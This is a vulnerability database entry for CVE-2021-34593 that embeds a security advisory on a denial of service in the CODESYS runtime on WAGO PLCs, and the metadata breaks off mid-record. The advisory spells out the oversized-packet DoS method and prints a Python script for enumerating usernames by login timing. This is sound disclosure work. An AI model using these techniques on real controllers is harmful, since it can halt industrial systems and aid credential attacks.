VAR-202110-1617
Vulnerability from variot - Updated: 2025-08-16 23:08In CODESYS V2 Runtime Toolkit 32 Bit full and PLCWinNT prior to versions V2.4.7.56 unauthenticated crafted invalid requests may result in several denial-of-service conditions. Running PLC programs may be stopped, memory may be leaked, or further communication clients may be blocked from accessing the PLC.
Vulnerability overview/description:
The CODESYS Control runtime system is the core of many PLCs. The runtime is accepting TCP connections on a pre-configured port to connect to the development system.
CODESYS released a dedicated security note, which corresponds to this advisory: https://customers.codesys.com/index.php?eID=dumpFile&t=f&f=16877&token=8faab0fc1e069f4edfca5d5aba8146139f67a175
Proof of concept:
A detailed proof of concept will be made public after the affected product vendors had time to provide new firmware versions. 2021-08-11: Vendor states that this issue was already fixed in a recent CODESYS release. The vendor is notified again about this outcome.
Workaround:
To mitigate this issue, access to the CODESYS service port of the affected devices should be limited as far as possible. In the long run, the updated firmware of the product vendor containing a patched CODESYS service must be installed. SEC Consult Vulnerability Lab Security Advisory < 20220126-0 > ======================================================================= title: Denial of service & User Enumeration product: WAGO 750-8xxx PLC vulnerable version: < Firmware 20 Patch 1 (v03.08.08) fixed version: Firmware 20 Patch 1 (v03.08.08) CVE number: CVE-2021-34593 impact: Medium homepage: https://www.wago.com/ found: 2021-05-05 by: SEC Consult Vulnerability Lab These vulnerabilities were discovered during the research cooperation initiative "OT Cyber Security Lab" between Verbund AG and SEC Consult Group. Gerhard Hechenberger (Office Vienna) Steffen Robertz (Office Vienna)
An integrated part of SEC Consult, an Atos company
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
"Optimum performance and availability: Thanks to their ultra-high performance, low power consumption, numerous interfaces, space-saving design and high reliability, WAGO’s user-friendly controllers (PLCs) are cost-effective automation solutions. For optimal automation both inside and outside the control cabinet: the flexible IP20 remote I/O systems for all applications and environments."
Source: https://www.wago.com/us/c/controllers-bus-couplers-i-o
Business recommendation:
WAGO's customers should upgrade the firmware to the latest version available.
A thorough security review should be performed by security professionals to identify further security issues.
Vulnerability overview/description:
1) Denial of Service (Codesys) (CVE-2021-34593) The "plclinux_rt" binary is listening on port 2455. It handles communication with the CODESYS suite. By sending requests that define an invalid packet size, a malloc error can be triggered. This leads to a denial of service of the remote connectivity of the codesys service.
This was also reported to and released together with CODESYS, find the corresponding advisories here: https://sec-consult.com/vulnerability-lab/advisory/codesys-v2-denial-of-service/ https://customers.codesys.com/index.php?eID=dumpFile&t=f&f=16877&token=8faab0fc1e069f4edfca5d5aba8146139f67a175
2) Enumeration of Users Due to a time-based side channel vulnerability, it can be derived which usernames are valid. This eases the process of brute-forcing valid credentials.
3) Outdated Software with Known Vulnerabilities The PLC is using multiple outdated software components with known exploits.
4) Insufficient Hardening of Binaries Multiple binaries are not compiled with available security features. This will ease further attacks once a memory corruption vulnerability has been spotted.
Proof of concept:
1) Denial of Service (Codesys) (CVE-2021-34593) Codesys packet headers are structured like below (pseudo code):
struct codesys_header { uint16_t magic, int32_t packet_size }
The magic bytes will be 0xbbbb. By defining a packet size of 0xffffffff, a size of 4 GB is defined. The following pseudo code will be used to handle the request:
allocated_mem = (byte)SysAllocDataMemory(coedesys_header.packet_size); buffer_info->recv_buf_wout_header = allocated_mem; if (allocated_mem == (byte )0x0) { return; }
As 4GB of memory aren't available, malloc will return a NULL pointer, which is passed back through the SysAllocDataMemory() function and the return statement in the pseudo code will be hit. Thus, the TCPServerTask() function will return. The file descriptor for the client is not cleared in advance. Therefore, the socket stays open indefinitely. A new client will open the next file descriptor. As only 19 clients are allowed to be connected simultaneously, it is sufficient to send 19 requests with a wrong packet length to force the PLC into a state where it will refuse further connections to the Codesys service.
The current implementation is missing the call to SysSockClose() once a buffer allocation fails.
2) Enumeration of Users A time-based side channel vulnerability in the webserver's authentication method is leaking information about valid usernames. The following code snippet is used in the login method:
// get password file and iterate over every line $pwFileArray = file($passwordFilename); foreach($pwFileArray as $lineNo => $pwFileLine) { // extract username and user password $passwordFileData = explode(':', trim($pwFileLine)); // if username was found in line, verify given password with user password if(isset($passwordFileData[0]) && ($passwordFileData[0] === $username)) { $pwCorrect = password_verify($password, $passwordFileData[1]); break; } }
The password hash is only calculated if the username is found to be valid. As the PLC has limited computational power, this results in different timings for the response depending on the validity of the username. The following script can be used to find valid users. The parameter 'delay_valid' might need to be adjusted to the network speed:
!/usr/sbin/python
import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
delay_valid = 0.2
f = open(sys.argv[1],"r");
for user in f.readlines(): payload = {"username":user.replace('\n',''),"password":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} cnt = 0 for i in range(5): try: r = requests.post("https:///wbm/php/authentication/login.php", json=payload, timeout=delay_valid, verify=False) except: cnt = cnt +1 if cnt >=3: print("[*]Valid User: {}".format(user))
3) Outdated Software with Known Vulnerabilities Following outdated and vulnerable components were identified by using the IoT Inspector firmware analysis tool:
- Dsnmasq 2.80: 9 CVEs
- Bash 4.4.23: 1 CVE
- GNU glibc 2.30: 12 CVEs
- Linux Kernel 4.9.146: 663 CVEs
- OpenSSL 1.0.1: 103 CVEs
- BusyBox 1.30.1: 2 CVEs
- Curl 7.72.0: 1 CVE
- OpenSSH 7.9p1: 4 CVEs
- PHP 7.3.15: 11 CVEs
- Wpa_supplicant 2.6: 20 CVEs
- NET-SNMP 5.8: 1 CVE
- Libpcap 1.8.1: 5 CVEs
- Info-ZIP 3.0: 13 CVEs
4) Insufficient Hardening of Binaries The following features were extracted with the IoT Inspector: - 1.9% of all executables support full RELRO - 84.6% support partial RELRO - Only 3.6% of all executables make use of stack canaries - 58.9% are using ASLR/PIE
The plclinux_rt binary is an example of a particularly vulnerable binary. It accepts user input on port 2455 and is missing all compile-time security features. Thus, it's a perfect candidate to successfully exploit any identified buffer overflow.
Vulnerable / tested versions:
The following versions have been tested and found to be vulnerable: * WAGO 750-8xxx Firmware 18 (v03.06.11) * WAGO 750-8xxx Firmware 15 (v03.03.10)
Vendor contact timeline:
2021-05-25: Contacting vendor through support.at@wago.com, asking for security contact information. Support informed about their PSIRT team. Set preliminary release date to 2021-07-14. 2021-05-26: Contacting PSIRT through psirt@wago.com for encryption options. 2021-05-27: Received PGP key from PSIRT, transmitted encrypted advisory to psirt@wago.com. 2021-05-31: Wago PSIRT notifies about decryption problems. 2021-06-02: Wago PSIRT redirects to VDE CERT for encrypted transmission. Transmitted encrypted advisory to info@cert.vde.com. Set release date to 2021-07-22. Wago PSIRT resolves decryption problems. 2021-06-07: Received confirmation from VDE CERT. 2021-08-11: On request, Wago PSIRT informs about the investigation results and mentions that the DoS was already reported and is fixed with firmware 18 patch 3. 2021-08-18: A check on the most recent public firmware release v18 (v03.06.19) shows that the vulnerability still exists. Wago PSIRT is notified. 2021-09-01: Wago PSIRT confirms and ensures the issue is investigated. 2021-09-29: Request status from Wago PSIRT. Set new release date to 2021-11-16. 2021-09-30: Wago PSIRT states that CODESYS provided a fix which is currently tested and to wait for a coordinated release with CODESYS. 2021-10-15: CODESYS informs about the assigned CVE-2021-34593 and the planned publishing date. 2021-10-18: Requesting information from Wago on an updated firmware version. 2021-10-19: Wago PSIRT states that they just received the new CODESYS sources and it will take some more weeks to create a new firmware release. 2021-10-28: CODESYS vulnerability CVE-2021-34593 is released in a coordinated manner together with CODESYS group without exploit details. 2021-11-30: Request status from Wago PSIRT on new firmware release. 2022-01-17: Request status from Wago PSIRT on new firmware release again. 2022-01-18: Wago PSIRT informs that firmware 20 Patch 1 released on January 10, 2022 fixes the remaining issue. The firmware was not yet published on their website. 2022-01-26: Release of security advisory.
Solution:
Immediately update the PLCs to the fixed firmware version provided by the vendor to mitigate CVE-2021-34593.
The fixed firmware release 20 patch 1 can be obtained from https://www.wago.com/de/d/6599873
Regarding vulnerability 2) As stated by Wago, there are only two possible default usernames. Therefore, the username enumeration may not gain additional information and this will not be changed.
Additionally, due to varying release cycles, there is a delay in updating components (affecting the other identified vulnerabilities). It is planned to change to a new distribution release with firmware 20.
Workaround:
None
Advisory URL:
https://sec-consult.com/vulnerability-lab/
SEC Consult Vulnerability Lab
SEC Consult, an Atos company
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult
EOF Gerhard Hechenberger, Steffen Robertz / @2022
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-202110-1617",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "750-8210",
"scope": "lt",
"trust": 1.0,
"vendor": "wago",
"version": "fw20"
},
{
"model": "750-8208",
"scope": "lt",
"trust": 1.0,
"vendor": "wago",
"version": "fw20"
},
{
"model": "750-8203",
"scope": "lt",
"trust": 1.0,
"vendor": "wago",
"version": "fw20"
},
{
"model": "750-8214",
"scope": "lt",
"trust": 1.0,
"vendor": "wago",
"version": "fw20"
},
{
"model": "plcwinnt",
"scope": "lt",
"trust": 1.0,
"vendor": "codesys",
"version": "2.4.7.56"
},
{
"model": "750-8216",
"scope": "lt",
"trust": 1.0,
"vendor": "wago",
"version": "fw20"
},
{
"model": "750-8204",
"scope": "lt",
"trust": 1.0,
"vendor": "wago",
"version": "fw20"
},
{
"model": "750-8211",
"scope": "lt",
"trust": 1.0,
"vendor": "wago",
"version": "fw20"
},
{
"model": "750-8206",
"scope": "lt",
"trust": 1.0,
"vendor": "wago",
"version": "fw20"
},
{
"model": "750-8217",
"scope": "lt",
"trust": 1.0,
"vendor": "wago",
"version": "fw20"
},
{
"model": "runtime toolkit",
"scope": "lt",
"trust": 1.0,
"vendor": "codesys",
"version": "2.4.7.56"
},
{
"model": "750-8202",
"scope": "lt",
"trust": 1.0,
"vendor": "wago",
"version": "fw20"
},
{
"model": "750-8212",
"scope": "lt",
"trust": 1.0,
"vendor": "wago",
"version": "fw20"
},
{
"model": "750-8207",
"scope": "lt",
"trust": 1.0,
"vendor": "wago",
"version": "fw20"
},
{
"model": "750-8213",
"scope": "lt",
"trust": 1.0,
"vendor": "wago",
"version": "fw20"
},
{
"model": "plcwinnt",
"scope": null,
"trust": 0.8,
"vendor": "codesys",
"version": null
},
{
"model": "runtime toolkit",
"scope": "eq",
"trust": 0.8,
"vendor": "codesys",
"version": "2.4.7.56"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2021-014196"
},
{
"db": "NVD",
"id": "CVE-2021-34593"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Gerhard Hechenberger, S. Robertz",
"sources": [
{
"db": "PACKETSTORM",
"id": "164716"
}
],
"trust": 0.1
},
"cve": "CVE-2021-34593",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "PARTIAL",
"baseScore": 5.0,
"confidentialityImpact": "NONE",
"exploitabilityScore": 10.0,
"id": "CVE-2021-34593",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 1.8,
"vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"exploitabilityScore": 3.9,
"id": "CVE-2021-34593",
"impactScore": 3.6,
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 2.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "OTHER",
"availabilityImpact": "High",
"baseScore": 7.5,
"baseSeverity": "High",
"confidentialityImpact": "None",
"exploitabilityScore": null,
"id": "JVNDB-2021-014196",
"impactScore": null,
"integrityImpact": "None",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2021-34593",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "info@cert.vde.com",
"id": "CVE-2021-34593",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2021-34593",
"trust": 0.8,
"value": "High"
},
{
"author": "CNNVD",
"id": "CNNVD-202110-1823",
"trust": 0.6,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2021-014196"
},
{
"db": "CNNVD",
"id": "CNNVD-202110-1823"
},
{
"db": "NVD",
"id": "CVE-2021-34593"
},
{
"db": "NVD",
"id": "CVE-2021-34593"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "In CODESYS V2 Runtime Toolkit 32 Bit full and PLCWinNT prior to versions V2.4.7.56 unauthenticated crafted invalid requests may result in several denial-of-service conditions. Running PLC programs may be stopped, memory may be leaked, or further communication clients may be blocked from accessing the PLC. \n\n\nVulnerability overview/description:\n-----------------------------------\nThe CODESYS Control runtime system is the core of many PLCs. The runtime is\naccepting TCP connections on a pre-configured port to connect to the\ndevelopment system. \n\nCODESYS released a dedicated security note, which corresponds to this advisory:\nhttps://customers.codesys.com/index.php?eID=dumpFile\u0026t=f\u0026f=16877\u0026token=8faab0fc1e069f4edfca5d5aba8146139f67a175\n\n\nProof of concept:\n-----------------\nA detailed proof of concept will be made public after the affected product\nvendors had time to provide new firmware versions. \n2021-08-11: Vendor states that this issue was already fixed in a recent CODESYS\n release. The vendor is notified\n again about this outcome. \n\n\nWorkaround:\n-----------\nTo mitigate this issue, access to the CODESYS service port of the affected\ndevices should be limited as far as possible. In the long run, the updated\nfirmware of the product vendor containing a patched CODESYS service must be\ninstalled. SEC Consult Vulnerability Lab Security Advisory \u003c 20220126-0 \u003e\n=======================================================================\n title: Denial of service \u0026 User Enumeration\n product: WAGO 750-8xxx PLC\n vulnerable version: \u003c Firmware 20 Patch 1 (v03.08.08)\n fixed version: Firmware 20 Patch 1 (v03.08.08)\n CVE number: CVE-2021-34593\n impact: Medium\n homepage: https://www.wago.com/\n found: 2021-05-05\n by: SEC Consult Vulnerability Lab\n These vulnerabilities were discovered during the research\n cooperation initiative \"OT Cyber Security Lab\" between\n Verbund AG and SEC Consult Group. \n Gerhard Hechenberger (Office Vienna)\n Steffen Robertz (Office Vienna)\n\n An integrated part of SEC Consult, an Atos company\n Europe | Asia | North America\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Optimum performance and availability: Thanks to their ultra-high performance,\nlow power consumption, numerous interfaces, space-saving design and high\nreliability, WAGO\u2019s user-friendly controllers (PLCs) are cost-effective\nautomation solutions. For optimal automation both inside and outside the\ncontrol cabinet: the flexible IP20 remote I/O systems for all applications\nand environments.\"\n\nSource: https://www.wago.com/us/c/controllers-bus-couplers-i-o\n\n\nBusiness recommendation:\n------------------------\nWAGO\u0027s customers should upgrade the firmware to the latest version available. \n\nA thorough security review should be performed by security professionals to\nidentify further security issues. \n\n\nVulnerability overview/description:\n-----------------------------------\n1) Denial of Service (Codesys) (CVE-2021-34593)\nThe \"plclinux_rt\" binary is listening on port 2455. It handles communication with\nthe CODESYS suite. By sending requests that define an invalid packet size, a\nmalloc error can be triggered. This leads to a denial of service of the remote\nconnectivity of the codesys service. \n\nThis was also reported to and released together with CODESYS, find the\ncorresponding advisories here:\nhttps://sec-consult.com/vulnerability-lab/advisory/codesys-v2-denial-of-service/\nhttps://customers.codesys.com/index.php?eID=dumpFile\u0026t=f\u0026f=16877\u0026token=8faab0fc1e069f4edfca5d5aba8146139f67a175\n\n\n2) Enumeration of Users\nDue to a time-based side channel vulnerability, it can be derived which\nusernames are valid. This eases the process of brute-forcing valid credentials. \n\n\n3) Outdated Software with Known Vulnerabilities\nThe PLC is using multiple outdated software components with known exploits. \n\n\n4) Insufficient Hardening of Binaries\nMultiple binaries are not compiled with available security features. This will\nease further attacks once a memory corruption vulnerability has been spotted. \n\n\nProof of concept:\n-----------------\n1) Denial of Service (Codesys) (CVE-2021-34593)\nCodesys packet headers are structured like below (pseudo code):\n\nstruct codesys_header {\n\t\tuint16_t magic,\n\t\tint32_t packet_size\n}\n\nThe magic bytes will be 0xbbbb. By defining a packet size of 0xffffffff, a size\nof 4 GB is defined. The following pseudo code will be used to handle the\nrequest:\n\nallocated_mem = (byte*)SysAllocDataMemory(coedesys_header.packet_size);\nbuffer_info-\u003erecv_buf_wout_header = allocated_mem;\nif (allocated_mem == (byte *)0x0) {\n return;\n}\n\nAs 4GB of memory aren\u0027t available, malloc will return a NULL pointer, which is\npassed back through the SysAllocDataMemory() function and the return statement\nin the pseudo code will be hit. Thus, the TCPServerTask() function will return. \nThe file descriptor for the client is not cleared in advance. Therefore, the\nsocket stays open indefinitely. A new client will open the next file\ndescriptor. As only 19 clients are allowed to be connected simultaneously, it\nis sufficient to send 19 requests with a wrong packet length to force the PLC\ninto a state where it will refuse further connections to the Codesys service. \n\nThe current implementation is missing the call to SysSockClose() once a buffer\nallocation fails. \n\n\n2) Enumeration of Users\nA time-based side channel vulnerability in the webserver\u0027s authentication\nmethod is leaking information about valid usernames. The following code snippet is\nused in the login method:\n\n// get password file and iterate over every line\n$pwFileArray = file($passwordFilename);\nforeach($pwFileArray as $lineNo =\u003e $pwFileLine)\n{\n // extract username and user password\n $passwordFileData = explode(\u0027:\u0027, trim($pwFileLine));\n // if username was found in line, verify given password with user password\n if(isset($passwordFileData[0]) \u0026\u0026 ($passwordFileData[0] === $username))\n {\n $pwCorrect = password_verify($password, $passwordFileData[1]);\n break;\n }\n}\n\nThe password hash is only calculated if the username is found to be valid. As\nthe PLC has limited computational power, this results in different timings for\nthe response depending on the validity of the username. The following script\ncan be used to find valid users. The parameter \u0027delay_valid\u0027 might need to be\nadjusted to the network speed:\n\n----------------------------\n#!/usr/sbin/python\nimport requests\nimport sys\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\ndelay_valid = 0.2\n\nf = open(sys.argv[1],\"r\");\n\nfor user in f.readlines():\n payload = {\"username\":user.replace(\u0027\\n\u0027,\u0027\u0027),\"password\":\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"}\n cnt = 0\n for i in range(5):\n try:\n r = requests.post(\"https://\u003cyour_PLC_IP\u003e/wbm/php/authentication/login.php\", json=payload, timeout=delay_valid, verify=False)\n except:\n cnt = cnt +1\n if cnt \u003e=3:\n print(\"[*]Valid User: {}\".format(user))\n-----------------------------\n\n\n3) Outdated Software with Known Vulnerabilities\nFollowing outdated and vulnerable components were identified by using the IoT Inspector\nfirmware analysis tool:\n\n- Dsnmasq 2.80: 9 CVEs\n- Bash 4.4.23: 1 CVE\n- GNU glibc 2.30: 12 CVEs\n- Linux Kernel 4.9.146: 663 CVEs\n- OpenSSL 1.0.1: 103 CVEs\n- BusyBox 1.30.1: 2 CVEs\n- Curl 7.72.0: 1 CVE\n- OpenSSH 7.9p1: 4 CVEs\n- PHP 7.3.15: 11 CVEs\n- Wpa_supplicant 2.6: 20 CVEs\n- NET-SNMP 5.8: 1 CVE\n- Libpcap 1.8.1: 5 CVEs\n- Info-ZIP 3.0: 13 CVEs\n\n\n4) Insufficient Hardening of Binaries\nThe following features were extracted with the IoT Inspector:\n- 1.9% of all executables support full RELRO\n- 84.6% support partial RELRO\n- Only 3.6% of all executables make use of stack canaries\n- 58.9% are using ASLR/PIE\n\nThe plclinux_rt binary is an example of a particularly vulnerable binary. It\naccepts user input on port 2455 and is missing all compile-time security\nfeatures. Thus, it\u0027s a perfect candidate to successfully exploit any identified\nbuffer overflow. \n\n\nVulnerable / tested versions:\n-----------------------------\nThe following versions have been tested and found to be vulnerable:\n* WAGO 750-8xxx Firmware 18 (v03.06.11)\n* WAGO 750-8xxx Firmware 15 (v03.03.10)\n\n\nVendor contact timeline:\n------------------------\n2021-05-25: Contacting vendor through support.at@wago.com, asking for\n security contact information. Support informed about their\n PSIRT team. Set preliminary release date to 2021-07-14. \n2021-05-26: Contacting PSIRT through psirt@wago.com for encryption options. \n2021-05-27: Received PGP key from PSIRT, transmitted encrypted advisory\n to psirt@wago.com. \n2021-05-31: Wago PSIRT notifies about decryption problems. \n2021-06-02: Wago PSIRT redirects to VDE CERT for encrypted transmission. \n Transmitted encrypted advisory to info@cert.vde.com. Set release\n date to 2021-07-22. Wago PSIRT resolves decryption problems. \n2021-06-07: Received confirmation from VDE CERT. \n2021-08-11: On request, Wago PSIRT informs about the investigation results\n and mentions that the DoS was already reported and is fixed with\n firmware 18 patch 3. \n2021-08-18: A check on the most recent public firmware release\n v18 (v03.06.19) shows that the vulnerability still exists. Wago\n PSIRT is notified. \n2021-09-01: Wago PSIRT confirms and ensures the issue is investigated. \n2021-09-29: Request status from Wago PSIRT. Set new release date to 2021-11-16. \n2021-09-30: Wago PSIRT states that CODESYS provided a fix which is currently\n tested and to wait for a coordinated release with CODESYS. \n2021-10-15: CODESYS informs about the assigned CVE-2021-34593 and the planned\n publishing date. \n2021-10-18: Requesting information from Wago on an updated firmware version. \n2021-10-19: Wago PSIRT states that they just received the new CODESYS sources\n and it will take some more weeks to create a new firmware release. \n2021-10-28: CODESYS vulnerability CVE-2021-34593 is released in a coordinated\n manner together with CODESYS group without exploit details. \n2021-11-30: Request status from Wago PSIRT on new firmware release. \n2022-01-17: Request status from Wago PSIRT on new firmware release again. \n2022-01-18: Wago PSIRT informs that firmware 20 Patch 1 released on January 10,\n 2022 fixes the remaining issue. The firmware was not yet published\n on their website. \n2022-01-26: Release of security advisory. \n\n\nSolution:\n---------\nImmediately update the PLCs to the fixed firmware version provided by the\nvendor to mitigate CVE-2021-34593. \n\nThe fixed firmware release 20 patch 1 can be obtained from\nhttps://www.wago.com/de/d/6599873\n\nRegarding vulnerability 2)\nAs stated by Wago, there are only two possible default usernames. Therefore,\nthe username enumeration may not gain additional information and this will\nnot be changed. \n\nAdditionally, due to varying release cycles, there is a delay\nin updating components (affecting the other identified vulnerabilities). It is\nplanned to change to a new distribution release with firmware 20. \n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\n\nSEC Consult, an Atos company\nEurope | Asia | North America\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos company. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers. \nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies. \n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your application https://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local offices https://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: research at sec-consult dot com\nWeb: https://www.sec-consult.com\nBlog: http://blog.sec-consult.com\nTwitter: https://twitter.com/sec_consult\n\nEOF Gerhard Hechenberger, Steffen Robertz / @2022\n\n\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2021-34593"
},
{
"db": "JVNDB",
"id": "JVNDB-2021-014196"
},
{
"db": "PACKETSTORM",
"id": "164716"
},
{
"db": "PACKETSTORM",
"id": "165874"
}
],
"trust": 1.8
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2021-34593",
"trust": 3.4
},
{
"db": "PACKETSTORM",
"id": "164716",
"trust": 2.5
},
{
"db": "PACKETSTORM",
"id": "165874",
"trust": 2.5
},
{
"db": "JVNDB",
"id": "JVNDB-2021-014196",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-202110-1823",
"trust": 0.6
}
],
"sources": [
{
"db": "PACKETSTORM",
"id": "164716"
},
{
"db": "PACKETSTORM",
"id": "165874"
},
{
"db": "JVNDB",
"id": "JVNDB-2021-014196"
},
{
"db": "CNNVD",
"id": "CNNVD-202110-1823"
},
{
"db": "NVD",
"id": "CVE-2021-34593"
}
]
},
"id": "VAR-202110-1617",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VARIoT devices database",
"id": null
}
],
"trust": 0.4510073215384616
},
"last_update_date": "2025-08-16T23:08:29.438000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Advisory\u00a02021-16",
"trust": 0.8,
"url": "https://customers.codesys.com/index.php?eID=dumpFile\u0026t=f\u0026f=16877\u0026token=8faab0fc1e069f4edfca5d5aba8146139f67a175\u0026download="
},
{
"title": "CODESYS Security vulnerabilities",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=167875"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2021-014196"
},
{
"db": "CNNVD",
"id": "CNNVD-202110-1823"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
